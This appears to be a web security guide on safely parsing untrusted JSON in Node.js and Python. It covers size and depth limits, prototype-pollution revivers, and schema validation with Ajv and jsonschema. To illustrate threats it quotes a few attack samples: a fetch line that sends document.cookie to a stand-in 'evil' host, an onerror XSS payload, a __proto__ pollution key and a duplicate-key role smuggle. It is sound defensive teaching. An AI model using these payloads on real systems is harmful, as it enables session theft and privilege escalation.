Parsing JSON from an untrusted source is safe only when you enforce a size limit before you parse, strip prototype-polluting keys during the parse, and validate the result against a strict schema afterward — because JSON.parse on its own stops arbitrary code execution but does nothing about denial-of-service payloads, __proto__ keys, or values that are the wrong type. The single most important rule is the easy one: never run JSON through eval() or the Function constructor. JSON.parse (and its equivalents like Python's json.loads) reads data and cannot execute code; eval runs whatever the attacker sends.
That is the summary an AI overview will give you. What it can't give you is the layered mental model — the specific keys, limits, and schema rules that turn a naive JSON.parse(userInput) into something you can point at the open internet. This guide walks the pipeline gate by gate, with the real attacks each gate stops and correct code for Node.js and Python.
What "untrusted" means
Untrusted data is any data your own code did not produce: form input, API responses from external services, uploaded files, message-queue payloads, webhook bodies, and even rows from your own database if an attacker could have modified them after a compromise. The moment JSON crosses one of those boundaries, treat it as hostile until it has passed every gate below.
The threats and how each is mitigated
Most "safe JSON" advice is a vague list of good habits. Here is the concrete version: the specific attack, why it works, and the specific control that stops it.
| Threat | How the attack works | Mitigation |
|---|---|---|
Prototype pollution (__proto__, constructor) | A key like {"__proto__": {"isAdmin": true}} parses into a normal property, then an unsafe recursive merge or lodash-style set walks it and writes onto Object.prototype, silently adding fields to every object. | Strip __proto__ and constructor in a JSON.parse reviver, or use secure-json-parse. Use Object.create(null) or Map for lookup tables. Never deep-merge untrusted data. |
| DoS: deep nesting | Thousands of nested [[[…]]] levels blow the parser's stack or make recursive post-processing quadratic. | Cap depth after parsing (10–20 levels) by walking the tree, or use a streaming parser that fails fast. JSON.parse has no built-in depth limit. |
| DoS: huge payload | A multi-megabyte body forces the parser to allocate a giant in-memory tree, exhausting RAM. | Enforce a byte-size cap before parsing at the proxy/framework layer (e.g. express.json({ limit: '256kb' })). This is the cheapest, highest-value control. |
| DoS: huge numbers / strings | 1e1000000 or a single 50 MB string field consumes memory and CPU even inside a small-looking object. | Constrain maxLength on strings and minimum/maximum on numbers in the schema; reject Infinity/NaN-producing values. |
| Duplicate keys | {"role":"user","role":"admin"} — the spec leaves the winner undefined, so a validator reading the first value and the app reading the last disagree, smuggling a value past checks. | Detect duplicates in a reviver and reject, or validate with a strict schema; don't rely on parser last-wins behavior. |
| Injection (SQL / XSS / command) | A parsed string is concatenated into a SQL query, HTML template, or shell command. JSON.parse is safe; the use of the value is not. | Parameterized queries; context-aware output encoding; textContent over innerHTML. See cross-site-scripting. |
| Arbitrary code execution | Parsing JSON with eval()/Function() executes attacker JavaScript. | Only ever use JSON.parse / json.loads. Never eval. |
| Wrong type / missing fields | Code assumes age is a number; attacker sends a string or object, corrupting logic downstream. | Validate against a JSON Schema with additionalProperties: false; cast explicitly only after validation. |
Gate 1 — Limit size and depth before you trust anything
Resource-exhaustion is the attack JSON.parse cannot see coming, because by the time the parser has read the payload the damage is done. Put the byte limit upstream of the parse:
// Express: reject bodies over 256 KB before JSON.parse ever runs
app.use(express.json({ limit: '256kb' }));
JSON.parse has no depth limit, so guard nesting after parsing with a small recursive check:
function assertMaxDepth(value, max = 20, depth = 0) {
if (depth > max) throw new Error('JSON nesting too deep');
if (Array.isArray(value)) {
for (const item of value) assertMaxDepth(item, max, depth + 1);
} else if (value && typeof value === 'object') {
for (const key of Object.keys(value)) {
assertMaxDepth(value[key], max, depth + 1);
}
}
}
In Python the byte limit belongs in your web framework or a manual length check, and you can bound depth similarly:
import json
MAX_BYTES = 256 * 1024
MAX_DEPTH = 20
def parse_limited(raw: str):
if len(raw.encode("utf-8")) > MAX_BYTES:
raise ValueError("payload too large")
obj = json.loads(raw) # never eval; json.loads only reads data
def check(value, depth=0):
if depth > MAX_DEPTH:
raise ValueError("JSON nesting too deep")
if isinstance(value, dict):
for v in value.values():
check(v, depth + 1)
elif isinstance(value, list):
for item in value:
check(item, depth + 1)
check(obj)
return obj
Gate 2 — Parse with JSON.parse, never eval
This is the rule that used to matter most and still catches people copying old snippets. eval(userInput) and new Function('return ' + userInput)() execute the string as code — an attacker sends fetch('https://evil/steal?c='+document.cookie) and it runs. JSON.parse builds a data structure and can throw, but it cannot execute anything. Always wrap it so a malformed body becomes a handled error rather than a crash:
try {
const data = JSON.parse(raw);
} catch (err) {
// return 400, log the error internally, do not echo parser details to the client
}
A common misconception in Python is that ast.literal_eval is the "safe eval" for JSON. It is safe, but it parses Python literals, not JSON — true, false, and null will raise, so use json.loads for JSON. ast.literal_eval is for evaluating Python literal strings, not a JSON parser.
Gate 3 — Guard against prototype pollution
Here is the nuance the headlines get wrong: JSON.parse does not pollute the prototype by itself. Parsing {"__proto__": {"isAdmin": true}} gives you an object with an own property literally named __proto__ — harmless on its own. The exploit fires later, when that object is passed to a recursive deep-merge, Object.assign chain, or a set(obj, path, value) helper that walks the __proto__ key and writes onto the shared Object.prototype, quietly injecting isAdmin: true into every object in the process.
A reviver strips the dangerous keys at parse time:
function safeParse(raw) {
return JSON.parse(raw, (key, value) => {
if (key === '__proto__' || key === 'constructor') return undefined;
return value;
});
}
For production, prefer the maintained drop-in from the Fastify team, which handles __proto__ and constructor.prototype thoroughly and lets you choose to throw or silently strip:
const sjson = require('secure-json-parse');
const data = sjson.parse(raw, { protoAction: 'remove', constructorAction: 'remove' });
And for lookup tables you build from untrusted keys, use a null-prototype object or a Map so there is no prototype to pollute in the first place:
const lookup = Object.create(null); // or: const lookup = new Map();
Gate 4 — Validate against a strict schema
Parsing tells you the JSON is well-formed; a schema tells you it is the shape you expect. This is where you stop wrong types, missing required fields, out-of-range numbers, oversized strings, and — crucially — unexpected extra keys. Define the contract in JSON Schema:
{
"type": "object",
"additionalProperties": false,
"required": ["name", "email"],
"properties": {
"name": { "type": "string", "maxLength": 100 },
"age": { "type": "integer", "minimum": 0, "maximum": 150 },
"email": { "type": "string", "format": "email", "maxLength": 254 }
}
}
additionalProperties: false is the line that turns a permissive parse into a strict allowlist — anything you did not declare is rejected. Compile the schema once and validate every payload with a fast validator such as Ajv:
const Ajv = require('ajv');
const addFormats = require('ajv-formats');
const ajv = new Ajv({ allErrors: true });
addFormats(ajv);
const validate = ajv.compile(schema);
function parseAndValidate(raw) {
const data = safeParse(raw); // gate 3 reviver
if (!validate(data)) {
throw new Error('Schema validation failed'); // log validate.errors internally
}
return data; // now typed and trusted
}
In Python, jsonschema (or a typed model library like Pydantic) plays the same role:
from jsonschema import validate, ValidationError
try:
validate(instance=obj, schema=schema)
except ValidationError as e:
raise ValueError("schema validation failed") from e
Want to sanity-check a payload or a schema by hand before wiring it into code? Paste it into the validator below.
Output encoding is a separate job
A parsed, schema-valid string is still just data — it becomes dangerous at the moment you render it. If you drop a validated comment field into the DOM with innerHTML, a value of <img src=x onerror=alert(document.cookie)> executes. This is cross-site scripting, and it is an output problem, not a parsing problem. Encode for the exact context at the point of use — HTML body, HTML attribute, URL, or JavaScript — and prefer textContent over innerHTML. Likewise, never build SQL by concatenating parsed values; use parameterized queries so the data can never be interpreted as query structure.
Language quick reference
| Language | Parse safely | Validate | Avoid |
|---|---|---|---|
| JavaScript / Node | JSON.parse in try/catch; secure-json-parse for __proto__ | Ajv (JSON Schema), Zod, Joi, Yup | eval, new Function, unsafe deep-merge |
| Python | json.loads | jsonschema, Pydantic | pickle on untrusted data; ast.literal_eval is not a JSON parser |
| Java | Jackson / Gson with limits configured | Bean Validation annotations | polymorphic deserialization of untrusted types |
| C# / .NET | System.Text.Json / JsonConvert.DeserializeObject with settings | data annotations | BinaryFormatter on untrusted data |
Operational hygiene
- Fail closed and log internally. On any parse or validation error, return a generic message to the client and log the details (never secrets) for monitoring. Detailed parser errors in a response help an attacker probe your defenses.
- Rate-limit JSON endpoints so an attacker cannot brute-force payload variations cheaply.
- Keep parsers and validators patched. Prototype-pollution and ReDoS fixes ship regularly in JSON libraries — dependency updates are security updates.
- Validate third-party API responses too. "The vendor is trusted" is not the same as "every byte the vendor sends is well-formed and in-range." Enforce the same schema on inbound API data.
Bottom line
Safe JSON parsing is a pipeline, not a single function call. Cap size before you parse, use JSON.parse (never eval) inside try/catch, strip __proto__/constructor during the parse, and validate the result against a strict schema with additionalProperties: false — then encode the values correctly wherever you use them. No single gate is sufficient; the layered pipeline is what lets you point JSON.parse at the open internet and sleep at night.